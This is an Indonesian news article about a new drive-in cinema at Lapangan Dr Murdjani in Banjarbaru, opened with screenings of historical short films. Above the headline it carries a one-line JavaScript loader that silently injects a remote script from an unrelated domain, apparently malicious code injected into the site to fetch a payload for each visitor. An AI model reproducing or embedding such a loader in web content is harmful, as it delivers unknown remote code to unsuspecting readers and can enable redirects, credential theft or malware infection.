(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Layar Videotron, “Murdjani Drive-In Cinema” Tawarkan Nonton Film di Dalam Mobil

KANALKALIMANTAN.COM, BANJARBARU – Sensasi menonton bioskop era tahun 1980-an kini bisa dinikmati di Kota Banjarbaru. Drive-in atau fasilitas menonton film layar lebar dari dalam mobil itu diberi nama “Murdjani Drive-in Cinema”.

Sesuai dengan namanya, fasilitas ini berlokasi di Lapangan Dr Murdjani, tepat di jantung perkotaan. Pemutaran film pendek berjudul “Prabu Fire Rescue” dan “Pangeran Antasari”, Minggu (13/2/2022) malam, menjadi penanda diresmikannya fasilitas ini bagi masyarakat umum.

Murdjani Drive-in Cinema menggunakan sebuah layar videotron berukuran cukup besar yang beberapa waktu lalu dibangun oleh Pemerintah Kota (Pemko) Banjarbaru. Agar bisa mendengarkan audio film dari dalam mobil, penonton dapat menyalakan radio melalui frekuensi 108 FM.

“Lokasi pemutaran filmnya representatif untuk konsep Drive-In. Lapangan Dr Murdjani cukup luas untuk menampung banyak mobil,” kata Kepala Dinas Pemuda, Olahraga, Kebudayaan, dan Pariwisata (Disporabudpar) Kota Banjarbaru, Ahmad Yani Makkie.

Selain itu, menurut Yani Makkie pemutaran film Pangeran Antasari sebagai tanda diresmikannya Murdjani Drive-in Cinema nyatanya mampu menarik perhatian masyarakat. Meskipun tujuan utama pemutaran film ini ialah demi mengenang sejarah perjuangan Pangeran Antasari melawan penjajahan Belanda di Kalimantan Selatan.

“Tadi memang ada puluhan undangan yang kita hadirkan. Mobilnya kita susun rapi tepat di depan videotron. Nah yang tidak kita sangka ternyata masyarakat yang bersantai di sekitaran lapangan Murdjani juga antusias menyaksikan film ini,” tuturnya.

Salah satunya, Risna yang mengaku sangat antusias melihat bioskop konsep outdoor kini ada di Banjarbaru. Ditambah lagi pemutaran filmnya bertemakan sejarah-sejarah perjuangan, khususnya di Kalimantan Selatan.

Wanita paruh baya ini juga menyampaikan ucapan terima kasihnya kepada Pemerintah Kota Banjarbaru, khususnya Wali Kota Banjarbaru, Aditya Mufti Ariffin yang telah memfasilitasi pemutaran film berkonsep drive-in di Lapangan Dr Murdjani.

“Saya sebagai warga Banjarbaru merasa senang dan bangga, soalnya konsep drive-in ini baru pertama kali ada di Banjarbaru. Semoga pemutaran film seperti ini bisa rutin diadakan,” ucap Risna.

Meski terbuka dan bisa disaksikan masyarakat umum secara gratis, aturan protokol kesehatan tetap diterapkan selama pemutaran film berlangsung. Hal ini dilakukan guna mencegah penyebaran Covid-19. (Kanalkalimantan.com/al)

Reporter : Al
Editor : Al